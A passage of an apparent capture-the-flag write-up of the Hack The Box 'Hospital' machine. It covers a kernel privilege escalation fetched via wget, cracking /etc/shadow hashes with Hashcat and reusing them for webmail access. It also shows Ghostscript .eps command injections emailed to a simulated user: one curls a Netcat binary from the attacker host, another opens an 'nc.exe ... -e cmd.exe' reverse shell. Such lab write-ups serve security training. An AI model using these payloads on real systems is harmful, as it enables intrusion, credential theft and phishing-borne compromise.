Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 202</code></code></pre><div><hr></div><h1>Privilege escalation</h1><p>Searching the Linux kernel version reveals a potential privilege escalation vulnerability, as described <a href="https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629">here</a>.</p><p>The vulnerability is easily exploited by downloading the exploit, serving it, and retrieving it from the target machine.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/CVE-2023-2640-CVE-2023-32629]
&#9492;&#9472;$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.129.229.189 - - [07/Apr/2024 21:54:22] "GET /exploit.sh HTTP/1.1" 200 -
</code></code></pre><pre><code><code>www-data@webserver:/var/www/html$ wget 10.10.14.2:80/exploit.sh
--2024-04-08 08:54:18--  http://10.10.14.2/exploit.sh
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 558 [text/x-sh]
Saving to: &#8216;exploit.sh&#8217;

exploit.sh          100%[===================&gt;]     558  --.-KB/s    in 0s

2024-04-08 08:54:19 (95.0 MB/s) - &#8216;exploit.sh&#8217; saved [558/558]

www-data@webserver:/var/www/html$
</code></code></pre><p>Running the exploit returns a root shell.</p><pre><code><code>www-data@webserver:/var/www/html$ bash exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@webserver:/var/www/html#</code></code></pre><blockquote><p><em><strong>Now would be a good time to create persistence with the root user.</strong></em></p></blockquote><h1>Lateral movement</h1><h2>Stealing and cracking hashes</h2><p>Looking at <code>/etc/shadow</code>, there is a hash for the <code>root</code> and <code>drwilliams</code> accounts.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rPPt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rPPt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 424w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 848w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 1272w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rPPt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png" width="1143" height="590" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:590,&quot;width&quot;:1143,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;hashes-found.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="hashes-found.png" title="hashes-found.png" srcset="https://substackcdn.com/image/fetch/$s_!rPPt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 424w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 848w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 1272w, https://substackcdn.com/image/fetch/$s_!rPPt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F072bade0-dedb-436e-b9fa-438444e4ad5e_1143x590.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Stealing the hashes and running them through Hashcat cracks the <code>drwilliams</code> one.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/credentials]
&#9492;&#9472;$ hashcat hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
$6$uWBSeTcoXXT&lt;SNIP&gt;

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz...W192y/
Time.Started.....: Sun Apr  7 22:04:47 2024 (1 min, 3 secs)
Time.Estimated...: Sun Apr  7 22:05:50 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3366 H/s (3.58ms) @ Accel:1024 Loops:64 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 215040/14344385 (1.50%)
Rejected.........: 0/215040 (0.00%)
Restore.Point....: 214016/14344385 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidate.Engine.: Device Generator
Candidates.#1....: raycharles -&gt; pakimo
Hardware.Mon.#1..: Util: 93%

Started: Sun Apr  7 22:04:28 2024
Stopped: Sun Apr  7 22:05:52 2024</code></code></pre><h2>Business email compromise</h2><p>Now, with Dr. William&#8217;s credentials, other services revealed in the initial scan, such as a webmail service running on Port 443, can be explored.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h2V2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h2V2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 424w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 848w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 1272w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h2V2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png" width="751" height="521" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:521,&quot;width&quot;:751,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;webservice.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="webservice.png" title="webservice.png" srcset="https://substackcdn.com/image/fetch/$s_!h2V2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 424w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 848w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 1272w, https://substackcdn.com/image/fetch/$s_!h2V2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe97da1e5-8304-44fc-a755-a79ad7dd1ea1_751x521.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Trying Dr. Williams&#8217; credentials is successful and access is obtained to the email account.</p><p>An email in the inbox hints at another potential vector.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nKxf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nKxf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 424w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 848w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 1272w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nKxf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png" width="1013" height="464" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:464,&quot;width&quot;:1013,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;email.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="email.png" title="email.png" srcset="https://substackcdn.com/image/fetch/$s_!nKxf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 424w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 848w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 1272w, https://substackcdn.com/image/fetch/$s_!nKxf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe237edba-685b-49f4-b728-51c6fa94a1e9_1013x464.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Windows movement</h2><p>A Google for <code>GhostScript</code> and <code>.eps</code> reveals another potential vector: a remote code execution via a command injection.</p><ul><li><p><a href="https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection">jakabakos/CVE-2023-36664-Ghostscript-command-injection: Ghostscript command injection vulnerability PoC (CVE-2023-36664) (github.com)</a></p></li></ul><p>It seems the vector is to create a payload that exploited the vulnerability in the GhostScript software, and send it back to Dr. Brown to move over to that user&#8217;s machine..</p><p>The payload is crafted by creating a malicious <code>.eps</code> file and appending a command to it. This appears to be a method that will break out into the Windows layer, as presumably, Dr. Brown will read the email and open the file on a Windows machine.</p><p>Proceeding with this theory, the Windows version of Netcat (<code>nc64.exe</code>) is required and placed in the same directory as the exploit. A payload is created that retrieves the <code>nc64.exe</code> from a web server.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
&#9492;&#9472;$ python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.2:8000/nc64.exe -o nc.exe" --filename new-design.eps
[+] Payload successfully injected into new-design.eps.</code></code></pre><p>The binary is then served, and the malicious file is sent back to Dr. Brown.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!B42o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!B42o!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 424w, https://substackcdn.com/image/fetch/$s_!B42o!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 848w, https://substackcdn.com/image/fetch/$s_!B42o!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 1272w, https://substackcdn.com/image/fetch/$s_!B42o!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!B42o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png" width="1098" height="392" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:392,&quot;width&quot;:1098,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Send-netcat.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Send-netcat.png" title="Send-netcat.png" srcset="https://substackcdn.com/image/fetch/$s_!B42o!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 424w, https://substackcdn.com/image/fetch/$s_!B42o!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 848w, https://substackcdn.com/image/fetch/$s_!B42o!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 1272w, https://substackcdn.com/image/fetch/$s_!B42o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c813561-f82a-402f-8a85-b14a268b344e_1098x392.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A few moments later, the <code>nc64.exe</code> binary was successfully retrieved from the server, indicating Dr. Brown had opened the malicious <code>.eps</code> file.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
&#9492;&#9472;$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.229.189 - - [07/Apr/2024 22:36:03] "GET /nc64.exe HTTP/1.1" 200 -
</code></code></pre><p>A second payload is now crafted that will make use of the <code>nc64.exe</code> binary, and establish a reverse shell.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
&#9492;&#9472;$ python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.2 1234 -e cmd.exe" --filename file.eps
[+] Payload successfully injected into file.eps.</code></code></pre><p>The second payload is sent via email as well.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RhVO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RhVO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 424w, https://substackcdn.com/image/fetch/$s_!RhVO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 848w, https://substackcdn.com/image/fetch/$s_!RhVO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 1272w, https://substackcdn.com/image/fetch/$s_!RhVO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RhVO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png" width="1095" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1095,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;email-payload.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="email-payload.png" title="email-payload.png" srcset="https://substackcdn.com/image/fetch/$s_!RhVO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 424w, https://substackcdn.com/image/fetch/$s_!RhVO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 848w, https://substackcdn.com/image/fetch/$s_!RhVO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 1272w, 